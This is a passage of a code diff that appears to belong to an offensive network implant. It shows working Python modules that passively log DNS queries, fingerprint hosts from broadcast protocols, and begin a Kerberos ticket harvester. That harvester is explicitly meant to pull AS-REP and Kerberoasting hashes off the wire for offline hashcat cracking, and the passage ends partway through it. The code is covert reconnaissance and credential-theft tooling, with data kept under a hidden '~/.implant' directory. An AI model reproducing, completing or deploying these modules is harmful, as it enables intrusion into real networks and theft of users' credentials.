Subscribes to capture_bus with BPF "port 53". Parses DNS query/response
packets using struct (no scapy dependency). Buffers records and batch-flushes
to SQLite every 60 seconds or 1000 records.
Also flags DoH connections to known resolvers on port 443 as DNS blind spots.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Well-known DoH resolver IPs
DOH_RESOLVERS = frozenset([
"1.1.1.1", "1.0.0.1", # Cloudflare
"8.8.8.8", "8.8.4.4", # Google
"9.9.9.9", "149.112.112.112", # Quad9
"208.67.222.222", "208.67.220.220", # OpenDNS
])
# DNS query type map
QTYPES = {
1: "A", 2: "NS", 5: "CNAME", 6: "SOA", 12: "PTR",
15: "MX", 16: "TXT", 28: "AAAA", 33: "SRV", 35: "NAPTR",
43: "DS", 46: "RRSIG", 47: "NSEC", 48: "DNSKEY",
52: "TLSA", 65: "HTTPS", 257: "CAA", 255: "ANY",
}
class DNSLogger(BaseModule):
"""Log all DNS queries and responses per source IP."""
name = "dns_logger"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 1000
FLUSH_INTERVAL = 60 # seconds
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_queries = 0
self._doh_detections = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("DNSLogger requires capture_bus in config")
return
# Database setup
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "dns_queries.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Subscribe to capture bus for DNS traffic
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 53", queue_depth=10000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
# Packet reader thread
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-dns-reader"
)
self._reader_thread.start()
# Periodic flusher thread
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-dns-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("DNSLogger started — listening for DNS on port 53")
def stop(self) -> None:
if not self._running:
return
self._running = False
# Unsubscribe from capture bus
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
# Final flush
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("DNSLogger stopped — %d total queries logged", self._total_queries)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_queries": self._total_queries,
"doh_detections": self._doh_detections,
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS dns_queries (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
domain TEXT NOT NULL,
query_type TEXT,
response_ips TEXT,
ttl INTEGER,
is_doh INTEGER DEFAULT 0
);
CREATE INDEX IF NOT EXISTS idx_dns_source ON dns_queries(source_ip);
CREATE INDEX IF NOT EXISTS idx_dns_domain ON dns_queries(domain);
CREATE INDEX IF NOT EXISTS idx_dns_ts ON dns_queries(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
"""Pull packets from capture bus queue and parse DNS."""
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass # Malformed packets are silently dropped
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Parse an Ethernet frame containing a DNS packet."""
if len(raw) < 14:
return
# Ethernet header
eth_type = struct.unpack("!H", raw[12:14])[0]
if eth_type == 0x8100: # 802.1Q VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
else:
ip_offset = 14
if eth_type != 0x0800: # IPv4 only
return
if len(raw) < ip_offset + 20:
return
# IPv4 header
ip_header = raw[ip_offset:]
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
# UDP (17) or TCP (6) transport
transport_offset = ip_offset + ihl
if ip_proto == 17: # UDP
if len(raw) < transport_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
dns_offset = transport_offset + 8
# Check for DoH: known resolvers on port 443
if dst_port == 443 and dst_ip in DOH_RESOLVERS:
self._doh_detections += 1
record = (ts, src_ip, f"[DoH:{dst_ip}]", "DoH", "", 0, 1)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
return
if src_port != 53 and dst_port != 53:
return
elif ip_proto == 6: # TCP DNS (rare, used for large responses)
if len(raw) < transport_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
if src_port != 53 and dst_port != 53:
return
tcp_header_len = ((raw[transport_offset + 12] >> 4) & 0xF) * 4
dns_offset = transport_offset + tcp_header_len
# TCP DNS has 2-byte length prefix
if len(raw) < dns_offset + 2:
return
dns_offset += 2
else:
return
# Parse DNS payload
dns_data = raw[dns_offset:]
if len(dns_data) < 12:
return
self._parse_dns(ts, src_ip, dst_ip, src_port, dst_port, dns_data)
def _parse_dns(self, ts: float, src_ip: str, dst_ip: str,
src_port: int, dst_port: int, data: bytes) -> None:
"""Parse DNS header + question/answer sections."""
# DNS header: ID(2) FLAGS(2) QDCOUNT(2) ANCOUNT(2) NSCOUNT(2) ARCOUNT(2)
txid, flags, qdcount, ancount, nscount, arcount = struct.unpack(
"!HHHHHH", data[:12]
)
is_response = bool(flags & 0x8000)
offset = 12
# Parse questions
domains = []
query_types = []
for _ in range(qdcount):
domain, offset = self._read_name(data, offset)
if offset + 4 > len(data):
return
qtype, qclass = struct.unpack("!HH", data[offset:offset + 4])
offset += 4
if domain:
domains.append(domain)
query_types.append(QTYPES.get(qtype, str(qtype)))
# Parse answers (responses only)
response_ips = []
min_ttl = 0
if is_response:
for _ in range(ancount):
if offset >= len(data):
break
_name, offset = self._read_name(data, offset)
if offset + 10 > len(data):
break
rtype, _rclass, ttl, rdlength = struct.unpack(
"!HHIH", data[offset:offset + 10]
)
offset += 10
if offset + rdlength > len(data):
break
if rtype == 1 and rdlength == 4: # A record
ip = socket.inet_ntoa(data[offset:offset + 4])
response_ips.append(ip)
elif rtype == 28 and rdlength == 16: # AAAA record
try:
ip = socket.inet_ntop(socket.AF_INET6, data[offset:offset + 16])
response_ips.append(ip)
except Exception:
pass
if ttl > 0:
min_ttl = ttl if min_ttl == 0 else min(min_ttl, ttl)
offset += rdlength
# Build records for each queried domain
# For queries: source_ip is the querier
# For responses: dst_ip is the querier (source is the DNS server)
querier_ip = src_ip if not is_response else dst_ip
for i, domain in enumerate(domains):
if not domain or domain == ".":
continue
qtype = query_types[i] if i < len(query_types) else ""
resp_str = ",".join(response_ips) if response_ips else ""
record = (ts, querier_ip, domain, qtype, resp_str, min_ttl, 0)
self._total_queries += 1
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
@staticmethod
def _read_name(data: bytes, offset: int, max_jumps: int = 10) -> tuple:
"""Read a DNS name with pointer compression. Returns (name, new_offset)."""
parts = []
jumped = False
saved_offset = offset
jumps = 0
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
if (length & 0xC0) == 0xC0:
# Pointer
if offset + 1 >= len(data):
break
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
if not jumped:
saved_offset = offset + 2
jumped = True
offset = ptr
jumps += 1
if jumps > max_jumps:
break
continue
offset += 1
if offset + length > len(data):
break
try:
parts.append(data[offset:offset + length].decode("utf-8", errors="replace"))
except Exception:
parts.append("?")
offset += length
name = ".".join(parts) if parts else ""
return (name, saved_offset if jumped else offset)
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
"""Periodically flush DNS record buffer to SQLite."""
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("DNS flush error")
def _flush_buffer(self) -> None:
"""Write buffered DNS records to SQLite."""
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO dns_queries (timestamp, source_ip, domain, query_type, response_ips, ttl, is_doh) "
"VALUES (?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d DNS records", len(batch))
+689
View File
@@ -0,0 +1,689 @@
#!/usr/bin/env python3
"""Passive host discovery via broadcast/multicast protocol observation.
Parses:
- ARP requests/replies (IP-MAC mapping)
- DHCP request/ACK (hostname, vendor class, option 55 fingerprinting)
- mDNS/Bonjour (hostnames, services)
- NetBIOS name queries (NBNS port 137)
- SSDP/UPnP announcements (port 1900)
- LLMNR queries (port 5355)
Publishes HOST_DISCOVERED events. Correlates multiple signals per host
for IP + MAC + hostname + vendor (OUI) + OS guess.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class HostDiscovery(BaseModule):
"""Build host inventory from passive network observation."""
name = "host_discovery"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 200
FLUSH_INTERVAL = 60
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
# In-memory host table: ip -> host_info dict
self._hosts = {}
self._hosts_lock = threading.Lock()
self._pending_updates = []
self._update_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_hosts = 0
# OUI lookup cache: first 3 bytes hex -> vendor
self._oui_cache = {}
# DHCP fingerprint cache: option55 -> os_guess
self._dhcp_fp_cache = {}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("HostDiscovery requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "hosts.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Load OUI database
oui_path = self.config.get("oui_db", "")
if oui_path and os.path.isfile(oui_path):
self._load_oui_db(oui_path)
# Load DHCP fingerprint database
dhcp_fp_path = self.config.get("dhcp_fingerprints_db", "")
if dhcp_fp_path and os.path.isfile(dhcp_fp_path):
self._load_dhcp_fingerprints(dhcp_fp_path)
# Load BPF filter
bpf_path = self.config.get("bpf_filter_path", "")
bpf_filter = ""
if bpf_path and os.path.isfile(bpf_path):
with open(bpf_path) as f:
lines = [l.strip() for l in f if l.strip() and not l.startswith("#")]
bpf_filter = " ".join(lines)
if not bpf_filter:
bpf_filter = "arp or port 67 or port 68 or port 5353 or port 1900 or port 5355 or port 137 or port 138"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf_filter, queue_depth=10000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-hostdisc-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-hostdisc-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("HostDiscovery started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_hosts()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("HostDiscovery stopped — %d hosts discovered", self._total_hosts)
def status(self) -> dict:
with self._hosts_lock:
host_count = len(self._hosts)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_hosts": host_count,
"oui_entries": len(self._oui_cache),
"dhcp_fingerprints": len(self._dhcp_fp_cache),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS hosts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip TEXT NOT NULL,
mac TEXT,
hostname TEXT,
vendor TEXT,
os_guess TEXT,
dhcp_fingerprint TEXT,
first_seen REAL NOT NULL,
last_seen REAL NOT NULL,
source TEXT
);
CREATE UNIQUE INDEX IF NOT EXISTS idx_host_ip ON hosts(ip);
CREATE INDEX IF NOT EXISTS idx_host_mac ON hosts(mac);
CREATE INDEX IF NOT EXISTS idx_host_hostname ON hosts(hostname);
""")
self._db_conn.commit()
def _load_oui_db(self, path: str) -> None:
"""Load OUI vendor database. Expected format: 'AA:BB:CC<tab>Vendor Name' per line."""
try:
conn = sqlite3.connect(path)
rows = conn.execute("SELECT oui, vendor FROM oui").fetchall()
for oui, vendor in rows:
self._oui_cache[oui.upper().replace(":", "").replace("-", "")] = vendor
conn.close()
logger.info("Loaded %d OUI entries", len(self._oui_cache))
except Exception:
# Try plain text format
try:
with open(path) as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split("\t", 1)
if len(parts) == 2:
oui = parts[0].upper().replace(":", "").replace("-", "")
self._oui_cache[oui] = parts[1]
logger.info("Loaded %d OUI entries from text", len(self._oui_cache))
except Exception:
logger.warning("Failed to load OUI database from %s", path)
def _load_dhcp_fingerprints(self, path: str) -> None:
"""Load DHCP option 55 fingerprint database."""
try:
conn = sqlite3.connect(path)
rows = conn.execute("SELECT fingerprint, os_name FROM fingerprints").fetchall()
for fp, os_name in rows:
self._dhcp_fp_cache[fp] = os_name
conn.close()
logger.info("Loaded %d DHCP fingerprints", len(self._dhcp_fp_cache))
except Exception:
try:
with open(path) as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split("\t", 1)
if len(parts) == 2:
self._dhcp_fp_cache[parts[0]] = parts[1]
logger.info("Loaded %d DHCP fingerprints from text", len(self._dhcp_fp_cache))
except Exception:
logger.warning("Failed to load DHCP fingerprints from %s", path)
# ------------------------------------------------------------------
# OUI lookup
# ------------------------------------------------------------------
def _lookup_oui(self, mac: str) -> str:
"""Look up vendor from MAC address OUI (first 3 octets)."""
oui = mac.upper().replace(":", "").replace("-", "")[:6]
return self._oui_cache.get(oui, "")
# ------------------------------------------------------------------
# Host update
# ------------------------------------------------------------------
def _update_host(self, ts: float, ip: str, mac: str = "", hostname: str = "",
vendor: str = "", os_guess: str = "",
dhcp_fingerprint: str = "", source: str = "") -> None:
"""Update or create host entry. Merges new data with existing."""
if not ip or ip == "0.0.0.0" or ip.startswith("255."):
return
is_new = False
with self._hosts_lock:
if ip not in self._hosts:
self._hosts[ip] = {
"ip": ip, "mac": "", "hostname": "", "vendor": "",
"os_guess": "", "dhcp_fingerprint": "",
"first_seen": ts, "last_seen": ts, "source": source,
}
is_new = True
host = self._hosts[ip]
host["last_seen"] = ts
if mac and not host["mac"]:
host["mac"] = mac
if not vendor:
vendor = self._lookup_oui(mac)
if hostname and not host["hostname"]:
host["hostname"] = hostname
if vendor and not host["vendor"]:
host["vendor"] = vendor
if os_guess and not host["os_guess"]:
host["os_guess"] = os_guess
if dhcp_fingerprint and not host["dhcp_fingerprint"]:
host["dhcp_fingerprint"] = dhcp_fingerprint
if source:
existing = host.get("source", "")
if source not in existing:
host["source"] = f"{existing},{source}" if existing else source
if is_new:
self._total_hosts += 1
self.bus.emit("HOST_DISCOVERED", {
"ip": ip, "mac": mac, "hostname": hostname,
"vendor": vendor, "source": source,
}, source_module=self.name)
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Route packet to appropriate protocol parser."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
src_mac = ":".join(f"{b:02x}" for b in raw[6:12])
if eth_type == 0x0806: # ARP
self._parse_arp(ts, raw, src_mac)
return
ip_offset = 14
if eth_type == 0x8100: # VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if ip_proto == 17: # UDP
udp_offset = ip_offset + ihl
if len(raw) < udp_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
payload = raw[udp_offset + 8:]
if dst_port == 67 or dst_port == 68:
self._parse_dhcp(ts, payload, src_mac)
elif dst_port == 5353 or src_port == 5353:
self._parse_mdns(ts, src_ip, src_mac, payload)
elif dst_port == 137 or src_port == 137:
self._parse_nbns(ts, src_ip, src_mac, payload)
elif dst_port == 1900:
self._parse_ssdp(ts, src_ip, src_mac, payload)
elif dst_port == 5355 or src_port == 5355:
self._parse_llmnr(ts, src_ip, src_mac, payload)
# Register any UDP source
self._update_host(ts, src_ip, mac=src_mac, source="traffic")
# ------------------------------------------------------------------
# Protocol parsers
# ------------------------------------------------------------------
def _parse_arp(self, ts: float, raw: bytes, eth_src_mac: str) -> None:
"""Parse ARP request/reply for IP-MAC mapping."""
if len(raw) < 42: # 14 eth + 28 ARP
return
arp_data = raw[14:]
# ARP: htype(2) ptype(2) hlen(1) plen(1) oper(2) sha(6) spa(4) tha(6) tpa(4)
htype, ptype, hlen, plen, oper = struct.unpack("!HHBBH", arp_data[:8])
if htype != 1 or ptype != 0x0800:
return
sender_mac = ":".join(f"{b:02x}" for b in arp_data[8:14])
sender_ip = socket.inet_ntoa(arp_data[14:18])
target_ip = socket.inet_ntoa(arp_data[24:28])
if sender_ip != "0.0.0.0":
self._update_host(ts, sender_ip, mac=sender_mac, source="arp")
def _parse_dhcp(self, ts: float, payload: bytes, src_mac: str) -> None:
"""Parse DHCP request/ACK for hostname, vendor class, option 55."""
if len(payload) < 240:
return
# DHCP: op(1) htype(1) hlen(1) hops(1) xid(4) secs(2) flags(2)
# ciaddr(4) yiaddr(4) siaddr(4) giaddr(4) chaddr(16) ...
op = payload[0]
yiaddr = socket.inet_ntoa(payload[16:20])
chaddr = ":".join(f"{b:02x}" for b in payload[28:34])
# Parse DHCP options (start at offset 240, after magic cookie)
if payload[236:240] != b"\x63\x82\x53\x63":
return
hostname = ""
vendor_class = ""
option_55 = ""
assigned_ip = yiaddr if yiaddr != "0.0.0.0" else ""
msg_type = 0
offset = 240
while offset < len(payload):
opt = payload[offset]
if opt == 255: # End
break
if opt == 0: # Pad
offset += 1
continue
if offset + 1 >= len(payload):
break
opt_len = payload[offset + 1]
offset += 2
if offset + opt_len > len(payload):
break
opt_data = payload[offset:offset + opt_len]
if opt == 53 and opt_len == 1: # Message Type
msg_type = opt_data[0]
elif opt == 12: # Hostname
hostname = opt_data.decode("ascii", errors="replace").rstrip("\x00")
elif opt == 60: # Vendor Class
vendor_class = opt_data.decode("ascii", errors="replace").rstrip("\x00")
elif opt == 55: # Parameter Request List
option_55 = ",".join(str(b) for b in opt_data)
elif opt == 50 and opt_len == 4: # Requested IP
if not assigned_ip:
assigned_ip = socket.inet_ntoa(opt_data)
offset += opt_len
# DHCP fingerprint lookup
os_guess = ""
if option_55:
os_guess = self._dhcp_fp_cache.get(option_55, "")
if assigned_ip:
self._update_host(
ts, assigned_ip, mac=chaddr, hostname=hostname,
vendor=vendor_class, os_guess=os_guess,
dhcp_fingerprint=option_55, source="dhcp",
)
elif chaddr:
# No IP yet, but we can log the MAC
pass
def _parse_mdns(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse mDNS for hostname discovery."""
if len(payload) < 12:
return
# mDNS uses standard DNS format on port 5353
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
is_response = bool(flags & 0x8000)
offset = 12
# Parse questions
for _ in range(qdcount):
name, offset = self._read_dns_name(payload, offset)
if offset + 4 > len(payload):
return
offset += 4 # qtype + qclass
# Parse answers (for responses)
if is_response:
for _ in range(ancount):
if offset >= len(payload):
break
name, offset = self._read_dns_name(payload, offset)
if offset + 10 > len(payload):
break
rtype, _, ttl, rdlength = struct.unpack("!HHIH", payload[offset:offset + 10])
offset += 10
if offset + rdlength > len(payload):
break
# Extract hostname from .local names
if name and name.endswith(".local"):
hostname = name.rsplit(".local", 1)[0]
if hostname:
self._update_host(ts, src_ip, mac=src_mac,
hostname=hostname, source="mdns")
offset += rdlength
else:
# For queries, the querier's presence is noted
self._update_host(ts, src_ip, mac=src_mac, source="mdns")
def _parse_nbns(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse NetBIOS Name Service queries/responses."""
if len(payload) < 12:
return
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
is_response = bool(flags & 0x8000)
offset = 12
# Parse question names
for _ in range(qdcount):
if offset >= len(payload):
break
nbname, offset = self._read_nbns_name(payload, offset)
if offset + 4 > len(payload):
break
offset += 4 # qtype + qclass
if nbname:
self._update_host(ts, src_ip, mac=src_mac,
hostname=nbname, source="nbns")
# Parse answer names
if is_response:
for _ in range(ancount):
if offset >= len(payload):
break
nbname, offset = self._read_nbns_name(payload, offset)
if offset + 10 > len(payload):
break
_, _, _, rdlength = struct.unpack("!HHIH", payload[offset:offset + 10])
offset += 10
if nbname:
self._update_host(ts, src_ip, mac=src_mac,
hostname=nbname, source="nbns")
if offset + rdlength > len(payload):
break
offset += rdlength
@staticmethod
def _read_nbns_name(data: bytes, offset: int) -> tuple:
"""Decode a NetBIOS encoded name. Returns (name, new_offset)."""
if offset >= len(data):
return "", offset
length = data[offset]
offset += 1
if length != 32:
# Skip non-standard length
return "", offset + length + 1 # +1 for trailing null length byte
if offset + 32 > len(data):
return "", offset
encoded = data[offset:offset + 32]
offset += 32
# Skip trailing length byte
if offset < len(data):
offset += 1
# Decode: each pair of bytes encodes one character
name_chars = []
for i in range(0, 32, 2):
ch = ((encoded[i] - ord('A')) << 4) | (encoded[i + 1] - ord('A'))
if 32 <= ch < 127:
name_chars.append(chr(ch))
name = "".join(name_chars).rstrip()
return name, offset
def _parse_ssdp(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse SSDP/UPnP announcements for device info."""
try:
text = payload.decode("utf-8", errors="ignore")
except Exception:
return
# SSDP uses HTTP-like headers
server = ""
usn = ""
for line in text.split("\r\n"):
lower = line.lower()
if lower.startswith("server:"):
server = line.split(":", 1)[1].strip()
elif lower.startswith("usn:"):
usn = line.split(":", 1)[1].strip()
vendor = server if server else ""
hostname = ""
if usn:
# USN often contains device UUID
pass
self._update_host(ts, src_ip, mac=src_mac, vendor=vendor, source="ssdp")
def _parse_llmnr(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse LLMNR queries for hostname discovery."""
if len(payload) < 12:
return
# LLMNR uses DNS message format
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
is_response = bool(flags & 0x8000)
offset = 12
for _ in range(qdcount):
name, offset = self._read_dns_name(payload, offset)
if offset + 4 > len(payload):
break
offset += 4
if name:
if is_response:
self._update_host(ts, src_ip, mac=src_mac,
hostname=name, source="llmnr")
else:
# Querier looking for this name
self._update_host(ts, src_ip, mac=src_mac, source="llmnr")
@staticmethod
def _read_dns_name(data: bytes, offset: int) -> tuple:
"""Read a DNS-format name. Returns (name, new_offset)."""
parts = []
jumped = False
saved_offset = offset
jumps = 0
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
if (length & 0xC0) == 0xC0:
if offset + 1 >= len(data):
break
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
if not jumped:
saved_offset = offset + 2
jumped = True
offset = ptr
jumps += 1
if jumps > 10:
break
continue
offset += 1
if offset + length > len(data):
break
parts.append(data[offset:offset + length].decode("utf-8", errors="replace"))
offset += length
name = ".".join(parts) if parts else ""
return (name, saved_offset if jumped else offset)
# ------------------------------------------------------------------
# Flush hosts to SQLite
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_hosts()
except Exception:
logger.exception("Host flush error")
def _flush_hosts(self) -> None:
"""Write all in-memory hosts to SQLite."""
with self._hosts_lock:
hosts_snapshot = list(self._hosts.values())
if not hosts_snapshot or not self._db_conn:
return
try:
for h in hosts_snapshot:
self._db_conn.execute(
"""INSERT INTO hosts (ip, mac, hostname, vendor, os_guess,
dhcp_fingerprint, first_seen, last_seen, source)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(ip) DO UPDATE SET
mac = COALESCE(NULLIF(excluded.mac, ''), hosts.mac),
hostname = COALESCE(NULLIF(excluded.hostname, ''), hosts.hostname),
vendor = COALESCE(NULLIF(excluded.vendor, ''), hosts.vendor),
os_guess = COALESCE(NULLIF(excluded.os_guess, ''), hosts.os_guess),
dhcp_fingerprint = COALESCE(NULLIF(excluded.dhcp_fingerprint, ''), hosts.dhcp_fingerprint),
last_seen = excluded.last_seen,
source = excluded.source
""",
(h["ip"], h["mac"], h["hostname"], h["vendor"],
h["os_guess"], h["dhcp_fingerprint"],
h["first_seen"], h["last_seen"], h["source"]),
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d hosts", len(hosts_snapshot))
+751
View File
@@ -0,0 +1,751 @@
#!/usr/bin/env python3
"""Passive Kerberos ticket harvester for offline cracking.
Parses Kerberos traffic on port 88:
- AS-REQ: extract username, realm, encrypted timestamp (hashcat mode 7500)
- AS-REP: extract hash for AS-REP roasting (hashcat mode 18200)
- TGS-REP: extract hash for Kerberoasting (hashcat mode 13100)
Also identifies domain controllers, realms, and SPNs.
Publishes TICKET_HARVESTED events immediately on capture.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Kerberos message types (application tags)
KRB_AS_REQ = 10
KRB_AS_REP = 11
KRB_TGS_REQ = 12
KRB_TGS_REP = 13
KRB_ERROR = 30
# Encryption types
ETYPE_AES256_CTS = 18
ETYPE_AES128_CTS = 17
ETYPE_RC4_HMAC = 23
ETYPE_DES_CBC_MD5 = 3
# Hashcat modes
HASHCAT_AS_REQ_ETYPE23 = 7500
HASHCAT_AS_REP_ROAST = 18200
HASHCAT_KERBEROAST_RC4 = 13100
HASHCAT_KERBEROAST_AES256 = 19700
HASHCAT_KERBEROAST_AES128 = 19600
class KerberosHarvester(BaseModule):
"""Harvest Kerberos tickets from wire for offline cracking."""
name = "kerberos_harvester"
module_type = "passive"
priority = 80
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 50
FLUSH_INTERVAL = 30
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_tickets = 0
self._realms = set()
self._dcs = set()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("KerberosHarvester requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "kerberos_tickets.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 88", queue_depth=5000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-kerb-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-kerb-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("KerberosHarvester started — monitoring port 88")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
